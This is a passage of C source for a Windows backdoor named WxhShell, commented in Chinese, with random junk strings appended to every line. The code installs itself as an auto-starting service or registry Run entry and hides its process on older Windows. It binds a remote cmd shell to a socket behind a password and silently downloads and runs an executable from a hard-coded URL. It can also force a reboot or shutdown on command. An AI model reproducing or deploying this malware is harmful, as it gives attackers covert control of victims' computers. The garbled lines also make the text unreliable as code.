    if(Boot(SHUTDOWN)) NDm@\<MIzB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?"$W=*P\o  
    else { |Vs|&0  
    closesocket(wsh); Ua#*kTF  
    ExitThread(0); =#[_8)q  
    } dJ"3F(X  
    break; kzZtKN9Az  
    } C0[Rf.*  
  // 获取shell HU-4k/I~  
  case 's': { N{IY \/;\  
    CmdShell(wsh); hV;Tm7I2  
    closesocket(wsh); 0|nvi=4~e|  
    ExitThread(0); VHsuC$3W  
    break; c2Ua!p(c  
  } I1=YSi;A  
  // 退出 >G92k76G  
  case 'x': { `<zaxO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K2$mz  
    CloseIt(wsh); @I2m4Q{O  
    break; *,-)4)7d  
    } *r!1K!c  
  // 离开 wh l)^D  
  case 'q': { ;Z:z'';Lm  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); W1f]A#t<  
    closesocket(wsh); >V;JI;[  
    WSACleanup(); XtRfzqg?K  
    exit(1); 12])``9  
    break; X&0m$x  
        } ;LELC5[*s  
  } yHLc lv  
  } >P/kb fPA  
A0# K@  
  // 提示信息 eC%.xu^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )zlksF  
} -iGt]mbJkP  
  } M6vW}APH[n  
j)Zi4<./  
  return; i >Hh_q;'  
} O?p.kf{b  
Mc oHV]x  
// shell模块句柄 =L{lt9qQz  
int CmdShell(SOCKET sock) a"&@G=M@d  
{ N6=cqUM wt  
STARTUPINFO si; m{`O.6#O  
ZeroMemory(&si,sizeof(si)); P.$U6cq  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =\e}fyuK  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2w)0>Y(_  
PROCESS_INFORMATION ProcessInfo; }P#%aE&-  
char cmdline[]="cmd"; X0^gj>GI|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); r+3V+:f  
  return 0; FjRJSMwO,  
} *Af]?-|^{#  
:T" !6;  
// 自身启动模式  T/p}Us  
int StartFromService(void) Wznz  
{ )TJz'J\*  
typedef struct a8rsF  
{ Qzw~\KY:  
  DWORD ExitStatus; {6^c3R[  
  DWORD PebBaseAddress; C_dsYuQ5R  
  DWORD AffinityMask; ~;_]U[eOL  
  DWORD BasePriority; GeWB"(t  
  ULONG UniqueProcessId; E)3B)(@&P  
  ULONG InheritedFromUniqueProcessId; PvBx<i}A  
}   PROCESS_BASIC_INFORMATION; cEnkt=  
N5#qox$D  
PROCNTQSIP NtQueryInformationProcess; }>b4s!k,  
!p >a,8w  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; nS"K dPM  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; o<1e-  
GBzC<e#  
  HANDLE             hProcess; I: U/%cr,  
  PROCESS_BASIC_INFORMATION pbi; xcnHj1r-o'  
(l{+ T#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 54WM*FZ  
  if(NULL == hInst ) return 0; $"0 t1  
Q~G+YjM3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *#;8mM  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )|@b GEk  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); A@bWlwfl  
x9xb4ZW  
  if (!NtQueryInformationProcess) return 0; B)O=wx  
NoO>CjeFb  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); l " pCxA  
  if(!hProcess) return 0; vP^]Y.6  
d#Sc4xuf  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; DalQ.   
y A?>v'K  
  CloseHandle(hProcess); xr&wV0O '  
C$){H"#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); hhlQ!WV2  
if(hProcess==NULL) return 0; /|t vGC.#  
BF<7.<,  
HMODULE hMod; qGuz`&i  
char procName[255]; ,pa,:k?  
unsigned long cbNeeded; 0 lXV+lj  
%eT4Q~}5"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); F')T:;,s  
'!Ps4ZTn_  
  CloseHandle(hProcess); T~cq=i|O  
$^ (q0zR~l  
if(strstr(procName,"services")) return 1; // 以服务启动 Iwi>yx8  
<*0MD6 $5  
  return 0; // 注册表启动 7Ro7/PT (  
} UBOCd[  
OMd{rH  
// 主模块 Q-F'-@`(C  
int StartWxhshell(LPSTR lpCmdLine) IJ!]1fXy+  
{ |xZDc6HDW  
  SOCKET wsl; 33J}AK^FE  
BOOL val=TRUE; 9-o{[  
  int port=0; )b m|],'  
  struct sockaddr_in door; uYIw ?fXy  
1)/B V{n  
  if(wscfg.ws_autoins) Install(); pu=T pSZ  
?Pw# !t  
port=atoi(lpCmdLine); %\_I% yF  
Z{+h~?63  
if(port<=0) port=wscfg.ws_port; t!c8 c^HR  
l~Kn-S{  
  WSADATA data; k^Tu9}[W1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?)<zrE5p  
_bqiS]:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   583ej2HPg  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0(Y$xg  
  door.sin_family = AF_INET; ?*u)T%S  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); BS;rit:  
  door.sin_port = htons(port); M~I M;my  
LnZ*,>1 Z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q?[{fcNh$  
closesocket(wsl); M$FXDyr  
return 1; Q}^ n  
} }E]`ly<Z  
6NbIT[LvT  
  if(listen(wsl,2) == INVALID_SOCKET) { H`-%)c=  
closesocket(wsl); SjKIn-  
return 1; LoOyqJ,  
} \9Itu(<f  
  Wxhshell(wsl); tH 5f;mY,  
  WSACleanup(); + h`:qB  
Xa*52Q`_  
return 0; Mki(,Y|1~  
hOfd<k\A  
} S#jH2fRo  
{ YJ.BWr  
// 以NT服务方式启动 u):z1b3*?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ETH`.~%  
{ NxNR;wz>l  
DWORD   status = 0; )7q;F m_/  
  DWORD   specificError = 0xfffffff; :eQ@I+  
lADi  
  serviceStatus.dwServiceType     = SERVICE_WIN32; cIl^5eE^Pq  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; oVoTnGNM6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j0 =`Jf  
  serviceStatus.dwWin32ExitCode     = 0; uFSgjWJ#~  
  serviceStatus.dwServiceSpecificExitCode = 0; n.$<D[@  
  serviceStatus.dwCheckPoint       = 0; UbC)X iO  
  serviceStatus.dwWaitHint       = 0; RK'3b/T  
/,Ln)?eD  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =_%:9FnQ0  
  if (hServiceStatusHandle==0) return; VQPq+78  
rM[Ps=5  
status = GetLastError(); &_" 3~:N8k  
  if (status!=NO_ERROR) x18ei@c  
{ s<:"rw`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3WPMS/  
    serviceStatus.dwCheckPoint       = 0; ,>{4*PM(  
    serviceStatus.dwWaitHint       = 0; c1|o^eZ  
    serviceStatus.dwWin32ExitCode     = status; m|24)%Vj;=  
    serviceStatus.dwServiceSpecificExitCode = specificError; .a=M@; p  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); S31 :}   
    return; Nj#!L~^h,  
  } mWmDH74  
bGK&W;Myk  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; U%gP2]t%cs  
  serviceStatus.dwCheckPoint       = 0;  V}8J&(\  
  serviceStatus.dwWaitHint       = 0; gjo\g P@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &[ 3y_,  
} uAVV4)  
N_C\L2  
// 处理NT服务事件,比如:启动、停止 2$\1v*:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ucoBeNsHx  
{  M?}2  
switch(fdwControl) G92=b *x/  
{ XHN?pVZ7  
case SERVICE_CONTROL_STOP: DKK200j  
  serviceStatus.dwWin32ExitCode = 0; y;<jE.7>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <LBMth  
  serviceStatus.dwCheckPoint   = 0; guwnYS  
  serviceStatus.dwWaitHint     = 0; +BzKO >  
  { NKGo E/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D#(A?oN  
  } [c>X Q  
  return;  sGdt)  
case SERVICE_CONTROL_PAUSE: SvI  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :&_@U$  
  break; r\Man'h$  
case SERVICE_CONTROL_CONTINUE: : FxZdE  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  4jG@ #  
  break; w'L;`k;Q  
case SERVICE_CONTROL_INTERROGATE: $#KSvo{otI  
  break; c:=Z<0S;  
}; N.&)22<m9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nH[@EL  
} X^aujK^@  
}O o  
// 标准应用程序主函数 It]CoAo+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) W >B:W0A  
{ [=V8  
k U3] eh\I  
// 获取操作系统版本 P6IhpB59  
OsIsNt=GetOsVer(); -O(.J'=8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); WBC'~h<@  
F'SOl*v(s5  
  // 从命令行安装 jq}5(*k  
  if(strpbrk(lpCmdLine,"iI")) Install(); `^_.E:f  
[k1N`K(M  
  // 下载执行文件 c&'T By  
if(wscfg.ws_downexe) { :j9;P7&"?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) > ]6Eb`v  
  WinExec(wscfg.ws_filenam,SW_HIDE); u_:" u  
} M%$zor  
I}?fy\1A&  
if(!OsIsNt) { Rjh/M`|  
// 如果时win9x,隐藏进程并且设置为注册表启动 6J&L5E  
HideProc();  : [AW  
StartWxhshell(lpCmdLine); CZbp}:|  
} noL<pkks~R  
else lT$A;7[  
  if(StartFromService()) !FO||z(vb  
  // 以服务方式启动 g{a_{P  
  StartServiceCtrlDispatcher(DispatchTable); l&T;G 9z  
else zeR!Y yt!  
  // 普通方式启动 L {\B9b2  
  StartWxhshell(lpCmdLine); uFECfh  
d3Y#_!)  
return 0; nk6xavQji  
} ~Jq<FVK  
lDAw0 C3  
f#mY44:,C  
8 Z#)Xb4  
=========================================== ea7v:#O[S  
\Dr@n^hk@[  
o1kLT@VCl  
"3}Bv X  
zFv>'1$  
\_BaV0<  
" :Fm+X[n  
4d6F4G4U  
#include <stdio.h> @gs Kb* ,  
#include <string.h> FtE%<QHt  
#include <windows.h> RCgs3JIE+2  
#include <winsock2.h> 2:2rwH }e  
#include <winsvc.h> 3QGg;  
#include <urlmon.h> 9h~>7VeZ)  
t5e%"}>7H  
#pragma comment (lib, "Ws2_32.lib") }4ta#T Ea  
#pragma comment (lib, "urlmon.lib") JNk ]$ xz  
VJJw"4DJ  
#define MAX_USER   100 // 最大客户端连接数 ~M43#E[oOF  
#define BUF_SOCK   200 // sock buffer #CVD:p  
#define KEY_BUFF   255 // 输入 buffer wCc:HfmjJ  
dkRJ^~  
#define REBOOT     0   // 重启 c+-L>dsss  
#define SHUTDOWN   1   // 关机 WvNX%se]3  
QbpRSdxy`$  
#define DEF_PORT   5000 // 监听端口 m",$M>  
DhkzVp_  
#define REG_LEN     16   // 注册表键长度 d<: VoQM6M  
#define SVC_LEN     80   // NT服务名长度 {v~&.|  
8a e]tX5$  
// 从dll定义API oREZ^pE@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); nG{j x_{`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); J&Le*R'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Bz!ddAvlK  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 'du:Bxl`d4  
ILTd*f  
// wxhshell配置信息 I)DLnnQQ  
struct WSCFG { j3z&0sc2(0  
  int ws_port;         // 监听端口 Z\O ,9  
  char ws_passstr[REG_LEN]; // 口令 &|Z:8]'P  
  int ws_autoins;       // 安装标记, 1=yes 0=no T4qbyui{  
  char ws_regname[REG_LEN]; // 注册表键名 ugucq},[  
  char ws_svcname[REG_LEN]; // 服务名 6}{2W<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Jp_{PR:&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 F]SexP4:A  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 E}\^GNT  
int ws_downexe;       // 下载执行标记, 1=yes 0=no QT\S>}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" sStaT R{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 IN`05Q  
fm:/}7s  
}; y&9v0&o  
+<@7x16  
// default Wxhshell configuration %E~4Ur  
struct WSCFG wscfg={DEF_PORT, uXu'I  
    "xuhuanlingzhe", q^Oq:l$s  
    1, N$?mula  
    "Wxhshell", 7P:0XML}  
    "Wxhshell", . |KxQn}  
            "WxhShell Service", -twIF49  
    "Wrsky Windows CmdShell Service", xzIs,i}U  
    "Please Input Your Password: ", 56&s'  
  1, HIi"zo=V  
  "http://www.wrsky.com/wxhshell.exe", <k/'mBDk  
  "Wxhshell.exe" kB"Sh_:m  
    }; o<@2zhuhrx  
8uS1HE\%  
// 消息定义模块 NzNAhlXj3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xg\M9&J  
char *msg_ws_prompt="\n\r? for help\n\r#>"; S #&HB  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; h'w9=Pk~6y  
char *msg_ws_ext="\n\rExit."; 8~\Fpz|Og  
char *msg_ws_end="\n\rQuit."; qs 52)$  
char *msg_ws_boot="\n\rReboot..."; Zdj~B1  
char *msg_ws_poff="\n\rShutdown..."; ;Z C18@  
char *msg_ws_down="\n\rSave to "; GAtK1%nPD  
aztP`S$h  
char *msg_ws_err="\n\rErr!"; 4D9l Za}  
char *msg_ws_ok="\n\rOK!"; XC0G5rtB  
Af ^6  
char ExeFile[MAX_PATH]; bo\|mvB~  
int nUser = 0; W&BwBp]K  
HANDLE handles[MAX_USER]; %w6> 3#e  
int OsIsNt;  CG$S?  
HSp*lHU  
SERVICE_STATUS       serviceStatus; RE!MX>sOEq  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; H*EQ%BLW^,  
DT n=WGm)  
// 函数声明 Y5cUOfYT  
int Install(void); 4 lJ@qhV  
int Uninstall(void); RAXqRP,iw  
int DownloadFile(char *sURL, SOCKET wsh); 6bo,x  
int Boot(int flag); : gv[X  
void HideProc(void); c{rX7+bN  
int GetOsVer(void); zO9|s}J8q  
int Wxhshell(SOCKET wsl); WO^sm Ck  
void TalkWithClient(void *cs); ./J.OU1  
int CmdShell(SOCKET sock); OQ W#BBet@  
int StartFromService(void); 1\kOjF)l  
int StartWxhshell(LPSTR lpCmdLine); J A4'e@  
5|S|HZ8G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); X f!Bsp#\g  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <74q]C  
q,$UKg#i  
// 数据结构和表定义 REnRpp$  
SERVICE_TABLE_ENTRY DispatchTable[] = Wq F(  
{ /o+, =7hY  
{wscfg.ws_svcname, NTServiceMain}, \qV5mD]"M  
{NULL, NULL} d7$H})[^  
}; cJj0`@0f  
 @*%Q,$  
// 自我安装 /PQg>Pa85  
int Install(void) !*?&V3!  
{ T1\Xz-1  
  char svExeFile[MAX_PATH]; ;7tOFsV  
  HKEY key; ^ylJ_lN&=1  
  strcpy(svExeFile,ExeFile); [$8*(d"F'  
J U}XSb  
// 如果是win9x系统,修改注册表设为自启动 kh^AH6{2  
if(!OsIsNt) { dZ`nv[]k~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zdU<]ge  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~k|~Q\   
  RegCloseKey(key); &=X1kQG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '[`.&-;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZJ=-cE2n  
  RegCloseKey(key); H,:Cg:E/^  
  return 0; htMsS4^Kvd  
    } (gl CTF9v  
  } IC92lPM }  
} e0(loWq]  
else { J j yQ  
+qD4`aI   
// 如果是NT以上系统,安装为系统服务 _o' jy^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9]1-J5iO  
if (schSCManager!=0) rS>njG;R  
{ fnL!@WF  
  SC_HANDLE schService = CreateService ,#gA(B#  
  ( PrDvRWM  
  schSCManager, &p=|z2 J  
  wscfg.ws_svcname, "aB]?4  
  wscfg.ws_svcdisp, tG^Oj:  
  SERVICE_ALL_ACCESS, oopTo51,a  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %DgU  
  SERVICE_AUTO_START, 42U3>  
  SERVICE_ERROR_NORMAL, PX\}lTJ  
  svExeFile, 67/hhO  
  NULL, {LR?#.   
  NULL, |+x;18  
  NULL, n KDX=73  
  NULL, r,[vXxMy(;  
  NULL -t:y y:4  
  ); YOP=gvZq  
  if (schService!=0) OHp 121  
  { )nQpO"+M  
  CloseServiceHandle(schService); )I.[@#-  
  CloseServiceHandle(schSCManager); CuT[V?^iD  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2ai \("?  
  strcat(svExeFile,wscfg.ws_svcname); } Yj ic4?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { t#6gjfIi  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #E{OOcM  
  RegCloseKey(key); 9oc.`-e\?  
  return 0; _9\ ayR>d  
    } +)L 'qbCSM  
  } Q4CxtY  
  CloseServiceHandle(schSCManager); 5<,}^4wWZ  
} 0qw,R4YK  
} A5y?|q>5  
cX E42MM  
return 1; lwQI 9U[O2  
} 5a5 I+* c  
2+sNt6B2  
// 自我卸载 &0Wv+2l @  
int Uninstall(void) &" K74  
{ Z3~$"V*ZB{  
  HKEY key; 3~a!h3.f  
J@p[v3W  
if(!OsIsNt) { /NMd GKr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oBifESJ  
  RegDeleteValue(key,wscfg.ws_regname); NU I|4X  
  RegCloseKey(key); k3}ymhUf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JV(|7Sk  
  RegDeleteValue(key,wscfg.ws_regname); Ol{)U;, `  
  RegCloseKey(key); + [|2k(U  
  return 0; yZUB8erb.  
  } ) i.p[  
} &AZr (>  
} My,ki:V?g6  
else { (NScG[$}  
7MOjZD4?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?`,Xb.NA$K  
if (schSCManager!=0) 1i$9x$4~E  
{ 3oE *86  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4F)z-<-b  
  if (schService!=0) R`!x<J  
  { "_}Hzpy5k  
  if(DeleteService(schService)!=0) { j'X]bd'  
  CloseServiceHandle(schService); Do=*bZ;A  
  CloseServiceHandle(schSCManager); u6awcn  
  return 0; kbM4v G  
  } 7t0\}e  
  CloseServiceHandle(schService); mxGa\{D# y  
  } 7'J}|m{7  
  CloseServiceHandle(schSCManager); Y3mATw 3Wh  
} =S|SQz5%w  
} YB*ZYpRVl  
XB50>??NE  
return 1; UqsVqi h(  
} ++5W_Ooep  
M})2y+  
// 从指定url下载文件 e7{3:y|]d3  
int DownloadFile(char *sURL, SOCKET wsh) #T99p+O  
{ A+iQH1C0h  
  HRESULT hr; eeoIf4]  
char seps[]= "/"; ,xn+T)2I  
char *token; iRPt0?$  
char *file; Q|"{<2"]U0  
char myURL[MAX_PATH]; cPPE8}PVH  
char myFILE[MAX_PATH]; 1Ty{k^%  
N|h`}*:x=  
strcpy(myURL,sURL); y9=/kFPRm  
  token=strtok(myURL,seps); QG4#E$ c  
  while(token!=NULL) _E{SGbCCi  
  { J&@[=zBYw  
    file=token; S5-}u)XnH  
  token=strtok(NULL,seps); AVZ-g/<  
  } _`+ !,kG[  
g%4-QCZ,  
GetCurrentDirectory(MAX_PATH,myFILE); K9m L1[B  
strcat(myFILE, "\\"); V2^(qpM!  
strcat(myFILE, file); {I@@i8)]  
  send(wsh,myFILE,strlen(myFILE),0); Y(m/E.h.~  
send(wsh,"...",3,0); Y@Lv>p  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); BikmAa  
  if(hr==S_OK) 6*A S4l  
return 0; "c\ZUx_i6  
else !BIq>pO%Ui  
return 1; F7E #x  
 =SRp  
} Vv B%,_\  
fM]zD/ g  
// 系统电源模块 WID4{>G2  
int Boot(int flag)  G;Q)A$-  
{ u%Hegqn  
  HANDLE hToken; 6w0/;8(_m  
  TOKEN_PRIVILEGES tkp; Z h)Qq?H  
$Dxz21|P7  
  if(OsIsNt) { </5uB' B ^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); isLIfE>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); eRWTuIV6  
    tkp.PrivilegeCount = 1; P B.@G,)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; IR;lt 3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); J-:\^uP  
if(flag==REBOOT) { ^.&2-#i  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Q$iYhR  
  return 0; |O%`-2p]p  
} </>;PnzE  
else { Sy6Y3 ~7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) l`:M/z6"  
  return 0; "]f0wLzh  
} l5b? 'L  
  } iN %kF'&9  
  else { ~gNa<tg"1  
if(flag==REBOOT) { )V*Z|,#no  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ULIbVy7Y  
  return 0;  O3bo3Cm$  
} Ko]A}v\]  
else { ]E .+)>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) vj]-p=  
  return 0; 1mz;4xb  
} JQP7>W  
} ?\L@Pr|=Dr  
~c%H3e>Jcq  
return 1; -fI-d1@  
} L~%@pf>  
zqh.U @  
// win9x进程隐藏模块 N?eWf +C  
void HideProc(void) JK4vQWy  
{ _Y4%Fv>@  
t4R=$ km  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); aze}ko NE  
  if ( hKernel != NULL ) Ms ;:+JI  
  { Z 7rVM   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); C:\BvPoO  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); HFu#-}iNV  
    FreeLibrary(hKernel); ^vS+xq|4"  
  } c |  
CPWe (  
return; ?B.>VnYZ/a  
} =B@owx  
k_ 9gMO  
// 获取操作系统版本 -/*-e /+b  
int GetOsVer(void) ] mYT!(}  
{ v) mO"\  
  OSVERSIONINFO winfo; ZW{pO:-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^ a#Vp  
  GetVersionEx(&winfo); R#.FfWTZ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >T[1=;o]  
  return 1; PE4#dx^  
  else :8cp]v dW  
  return 0; i1e|UR-wl  
} Oz<{B]pEul  
 i1v0J->  
// 客户端句柄模块 Nb~.6bsL  
int Wxhshell(SOCKET wsl) oswS<t{Z  
{ I?}YS-2  
  SOCKET wsh; 0"]N9N;/  
  struct sockaddr_in client; 8XZS BR(Z  
  DWORD myID; PzbLbH8A  
*^e06xc:  
  while(nUser<MAX_USER) ^"WrE(3  
{ d%FD =wm  
  int nSize=sizeof(client); A0Pg|M  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); tu8n1W  
  if(wsh==INVALID_SOCKET) return 1; RwJ#G7S#  
dr#g[}l'H  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?s/]k#H  
if(handles[nUser]==0) ~UA:_7#\M  
  closesocket(wsh); Y -%g5  
else V +j58Wuf  
  nUser++; s{\USD6  
  } lArYlR }  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); FGY4u4y  
= s^KZV  
  return 0; =oz$uD}?  
} tfW*(oU  
$Tci_(V=F  
// 关闭 socket ?UCK  
void CloseIt(SOCKET wsh) T<1* R>el  
{ {,61V;Bpm  
closesocket(wsh); [9dW9[Z+!  
nUser--; ,$BbJQ5  
ExitThread(0); O}5mDx  
} {}!`v%z  
&Jw]3U5J  
// 客户端请求句柄 VL4ErOoZ  
void TalkWithClient(void *cs) Wm_:1~  
{ !cS A|C  
C{AVV<  
  SOCKET wsh=(SOCKET)cs; WfYu-TK *  
  char pwd[SVC_LEN]; *F7ksLH|q  
  char cmd[KEY_BUFF]; AG/?LPJ  
char chr[1]; OE_;i}58  
int i,j; F*Lm=^:  
RS'!>9I  
  while (nUser < MAX_USER) { }j9V0`Q  
d/oxRzk'L  
if(wscfg.ws_passstr) { ,ND}T#yTR  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +72[*_ <  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ], Xva`"  
  //ZeroMemory(pwd,KEY_BUFF); 7J?`gl&C  
      i=0; $KDH"J  
  while(i<SVC_LEN) { e lj]e  
hn]><kaA  
  // 设置超时 DMO8~5  
  fd_set FdRead; q{v?2v{  
  struct timeval TimeOut; rik-C7  
  FD_ZERO(&FdRead); AY3nQH   
  FD_SET(wsh,&FdRead); t*X k'(v  
  TimeOut.tv_sec=8; Xi vzhI4  
  TimeOut.tv_usec=0; 3zi(|B[,?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1C) l) pV  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "W!Uxc  
2rK%fV53b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6%'bo`S#  
  pwd=chr[0]; |oCE7'BaP  
  if(chr[0]==0xd || chr[0]==0xa) { -UD^O*U  
  pwd=0; }?^V9K-  
  break; =P>c1T1-  
  } cbsU!8  
  i++; |-kU]NJFR  
    } }AdA? :7A  
9[# 9cv  
  // 如果是非法用户,关闭 socket DdO$&/`)YP  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N pu#.)G  
} Z :51Q  
o1I8l7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7ip$#pzo  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dG5p`N %  
Hqsj5j2i  
while(1) { w'uI~t4  
'#JC 6#X   
  ZeroMemory(cmd,KEY_BUFF); E"8cB]`|8  
g~,"C8-H  
      // 自动支持客户端 telnet标准   =2-!ay:  
  j=0; cPQUR^!5  
  while(j<KEY_BUFF) { DK-V3}`q}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #9=as Y  
  cmd[j]=chr[0]; =Yd{PZ*fR  
  if(chr[0]==0xa || chr[0]==0xd) { Hrz #So\#  
  cmd[j]=0; 9/[1a_ r  
  break; 7Q_AZR 4  
  } ~CTe5PX c  
  j++; T4H/D^X|  
    } frsqnvm;+  
ji'NR  
  // 下载文件 CJ'pZ]\G  
  if(strstr(cmd,"http://")) { j^ y9+W_b  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); RZKdh}B?\  
  if(DownloadFile(cmd,wsh)) *Cs RO  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); bU3e*Er  
  else 8v eG^o  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7t8[M(  
  } ?\_\pa/+  
  else { fgzkc"ReK  
6I5,PB  
